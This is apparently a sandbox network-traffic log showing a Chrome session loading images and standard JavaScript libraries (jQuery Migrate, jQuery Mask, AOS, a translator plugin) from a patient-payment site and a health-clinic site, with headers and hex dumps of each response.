2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 79 7c 7c 74 2e 6d 65 74 61 4b 65 79 29 26 26 56 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 61 64 6a 75 73 74 44 61 74 65 28 74 2e 74 61 72 67 65 74 2c 2d 37 2c 22 44 22 29 2c 6e 3d 74 2e 63 74 72 6c 4b 65 79 7c 7c 74 2e 6d 65 74 61 4b 65 79 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 28 74 2e 63 74 72 6c 4b 65 79 7c 7c 74 2e 6d 65 74 61 4b 65 79 29 26 26 56 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 61 64 6a 75 73 74 44 61 74 65 28 74 2e 74 61 72 67 65 74 2c 6f 3f 2d 31 3a 31 2c 22 44 22 29 2c 6e 3d 74 2e 63 74 72 6c 4b 65 79 7c 7c 74 2e 6d 65 74 61 4b 65 79 2c 74 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 61 6c 74 4b 65 79 26 26 56 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 61 64 6a 75 73 74 44 61 74 65 28 74 2e 74 61 72 67 65 74 2c 74 2e 63 74 72 6c 4b 65 79 3f Data Ascii: y\|\|t.metaKey)&&V.datepicker._adjustDate(t.target,-7,"D"),n=t.ctrlKey\|\|t.metaKey;break;case 39:(t.ctrlKey\|\|t.metaKey)&&V.datepicker._adjustDate(t.target,o?-1:1,"D"),n=t.ctrlKey\|\|t.metaKey,t.originalEvent.altKey&&V.datepicker._adjustDate(t.target,t.ctrlKey?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	50005	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	572	OUT	GET /HealowPay/jsp/js/assets/img/view-billing-details.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: image/png Content-Length: 2251 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2251-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:58 UTC	2251	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 08 82 49 44 41 54 68 43 e5 9b 7b 70 54 f5 15 c7 cf 7d ed 2b 9b 64 f3 62 93 6c 9e 30 d1 b6 54 ba 4c 82 12 03 24 91 97 11 a9 68 85 8c b5 22 c5 47 95 a9 08 49 3b 4a 07 ad 2d 58 75 3a 2a 16 46 54 d4 d1 d1 4a 0b 4c a7 96 92 d4 34 99 a5 81 38 30 46 19 41 60 00 81 0d 79 6c 96 80 c9 b2 c9 6e 76 f7 de bd fd fd e2 6c ba 59 f6 f1 fb dd dd 04 53 ee bf 7b ce b9 e7 73 bf e7 f7 fe 2d 03 d7 d9 c3 5c 67 bc 70 4d 80 ab 2c e7 35 6a 35 af 13 5d 3e 81 d5 f0 1c ef 63 59 37 b0 c3 00 fd c3 17 fb c0 7b 62 c5 74 ef 78 09 31 61 c0 a5 6f b6 0b 86 69 e9 e9 2a 6d 92 9e f1 fb b8 68 40 92 28 fb fd 82 ec 92 dd be a1 b4 fe a9 83 bb 57 30 Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC{pT}+dbl0TL$h"GI;J-Xu:FTJL480FA`ylnvlYS{s-\gpM,5j5]>cY7{btx1aoimh@(W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	50007	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	772	OUT	GET /HealowPay/jsp/js/jquery-migrate-3.3.2.min.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1417	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: text/javascript Content-Length: 11226 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"11226-1646033381000" Last-Modified: Mon, 28 Feb 2022 07:29:41 GMT vary: accept-encoding Server:
2024-04-24 12:44:58 UTC	11226	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 33 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b Data Ascii: /! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	50009	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	578	OUT	GET /HealowPay/jsp/js/assets/img/track-your-payment-history.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: image/png Content-Length: 2624 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2624-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:58 UTC	2624	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 09 f7 49 44 41 54 68 43 e5 5b 79 74 13 c7 19 9f 3d 2c d9 f2 21 21 e3 4b be b8 21 18 1f 09 4e 20 c6 80 84 6d 88 31 21 f4 95 23 0f 12 da 38 25 1c af f0 5e 4a d2 92 b4 e6 ea 2b 14 4a c9 41 82 21 36 21 01 0c a9 4d 29 c1 41 60 6c 23 e3 03 28 35 2d 21 10 ee 60 7c 81 0f f0 85 0d 2b 69 b5 9d 51 2a 3f 59 da 5d ed 4a b2 48 d2 fd 4b 4f fb 5d bf f9 be f9 e6 9b 6f 66 31 f0 43 7a f2 19 22 dd ef 26 d9 ae f0 c6 91 59 52 2a c2 50 a6 c1 8c ee 34 11 73 a7 30 67 64 4d f8 f2 aa bf 3c 40 e9 4b 03 ca 8f 20 31 33 50 eb 87 d1 9b 68 da 5b d2 75 ff 52 7d db f9 c5 89 06 67 74 58 f3 3c 31 c0 6a 5d 9b c2 97 ec 54 32 80 20 85 80 a0 09 Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC[yt=,!!K!N m1!#8%^J+JA!6!M)A`l#(5-!`\|+iQ?Y]JHKO]of1Cz"&YRP4s0gdM<@K 13Ph[uR}gtX<1j]T2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	50006	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	776	OUT	GET /HealowPay/jsp/js/rendor/jquery.mask-1.7.7.min.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1415	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: text/javascript Content-Length: 4872 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"4872-1646033381000" Last-Modified: Mon, 28 Feb 2022 07:29:41 GMT vary: accept-encoding Server:
2024-04-24 12:44:58 UTC	4872	IN	Data Raw: 2f 2f 20 6a 51 75 65 72 79 20 4d 61 73 6b 20 50 6c 75 67 69 6e 20 76 31 2e 37 2e 37 0d 0a 2f 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 69 67 6f 72 65 73 63 6f 62 61 72 2f 6a 51 75 65 72 79 2d 4d 61 73 6b 2d 50 6c 75 67 69 6e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 29 3a 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 7c 7c 77 69 6e 64 6f 77 2e 5a 65 70 74 6f 29 7d 29 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 41 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 64 2c 62 29 7b 76 61 72 20 68 3d 74 68 69 73 2c 6d 2c 70 3b 61 3d 66 28 61 29 3b 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 Data Ascii: // jQuery Mask Plugin v1.7.7// github.com/igorescobar/jQuery-Mask-Plugin(function(f){"function"===typeof define&&define.amd?define(["jquery"],f):f(window.jQuery\|\|window.Zepto)})(function(f){var A=function(a,d,b){var h=this,m,p;a=f(a);d="function"===ty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	50008	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	764	OUT	GET /HealowPay/jsp/js/assets/js/common.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:59 UTC	1417	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: text/javascript Content-Length: 24251 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"24251-1709723745000" Last-Modified: Wed, 06 Mar 2024 11:15:45 GMT vary: accept-encoding Server:
2024-04-24 12:44:59 UTC	14967	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0d 0a 20 20 2f 2f 43 68 65 63 6b 20 69 66 20 6d 6f 62 69 6c 65 0d 0a 20 20 63 68 65 63 6b 43 6f 70 79 44 61 74 61 28 29 3b 0d 0a 20 20 63 68 65 63 6b 50 72 6f 66 69 6c 65 50 61 67 65 28 29 3b 0d 0a 20 20 61 63 74 69 76 65 42 6f 6f 6b 41 70 74 54 61 62 28 29 3b 0d 0a 20 20 0d 0a 0d 0a 20 20 76 61 72 20 70 61 74 69 65 6e 74 20 3d 20 24 28 27 2e 70 61 74 69 65 6e 74 2d 63 61 72 6f 75 73 65 6c 2c 20 2e 74 6f 70 2d 70 72 6f 76 69 64 65 72 2d 63 61 72 6f 75 73 65 6c 2c 20 2e 6d 6f 73 74 2d 73 65 61 72 63 68 65 64 2d 63 61 72 6f 75 73 65 6c 27 29 3b 0d 0a 20 20 69 66 28 70 61 74 69 65 6e 74 2e 6c 65 6e 67 74 68 20 3e 20 30 29 20 7b 0d 0a 20 20 20 20 20 20 70 61 74 69 Data Ascii: $(document).ready(function () { //Check if mobile checkCopyData(); checkProfilePage(); activeBookAptTab(); var patient = $('.patient-carousel, .top-provider-carousel, .most-searched-carousel'); if(patient.length > 0) { pati
2024-04-24 12:44:59 UTC	9284	IN	Data Raw: 20 7d 0d 0a 20 20 20 20 20 20 20 20 65 6c 73 65 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 24 28 27 23 70 72 61 63 50 68 6f 6e 65 53 65 61 72 63 68 52 65 73 75 6c 74 27 29 2e 68 69 64 65 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 24 28 27 23 65 6e 74 65 72 43 6f 64 65 27 29 2e 76 61 6c 28 27 27 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 24 28 27 23 68 65 61 6c 74 68 53 65 61 72 63 68 53 65 63 74 69 6f 6e 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 62 61 63 6b 64 72 6f 70 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 2f 2f 20 50 72 6f 76 69 64 65 72 0d 0a 20 20 20 20 20 20 24 28 27 23 6f 70 65 6e 50 72 6f 76 53 65 61 72 63 68 27 29 2e 6f 6e 28 27 63 6c 69 63 6b 27 2c 66 Data Ascii: } else{ $('#pracPhoneSearchResult').hide(); $('#enterCode').val(''); $('#healthSearchSection').removeClass('backdrop'); } }); // Provider $('#openProvSearch').on('click',f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	50010	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	767	OUT	GET /HealowPay/jsp/js/assets/js/animation.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:59 UTC	1417	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: text/javascript Content-Length: 14239 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"14239-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT vary: accept-encoding Server:
2024-04-24 12:44:59 UTC	14239	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 41 4f 53 3d 74 28 29 3a 65 2e 41 4f 53 3d 74 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6f 29 7b 69 66 28 6e 5b 6f 5d 29 72 65 74 75 72 6e 20 6e 5b 6f 5d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(o){if(n[o])return n[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	50011	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	749	OUT	GET /wp-content/plugins/google-language-translator/js/scripts.js?ver=6.0.20 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:59 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: application/javascript Content-Length: 13397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT Vary: Accept-Encoding ETag: "65ef3b12-3455" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:59 UTC	13397	IN	Data Raw: 2f 2a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 0a 20 2a 20 53 63 72 69 70 74 20 66 6f 72 20 6f 6e 43 6c 69 63 6b 20 74 72 69 67 67 65 72 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 75 73 65 64 20 62 79 20 66 6c 61 67 20 69 6d 61 67 65 73 0a 20 2a 20 53 63 72 69 70 74 20 6d 6f 64 69 66 69 65 64 20 66 72 6f 6d 20 6f 72 69 67 69 6e 61 6c 20 47 54 72 61 6e 73 6c 61 74 65 20 70 6c 75 67 69 6e 20 63 72 65 61 74 65 64 20 62 79 20 45 64 76 61 72 64 20 41 6e 61 6e 79 61 6e 20 61 74 20 68 74 74 70 3a 2f 2f 65 64 6f 2e 77 65 62 6d 61 73 74 65 72 2e 61 6d 0a 20 2a 20 47 Data Ascii: /------------------------------------------------------------------------------- * Script for onClick trigger functionality used by flag images * Script modified from original GTranslate plugin created by Edvard Ananyan at http://edo.webmaster.am * G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	50013	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
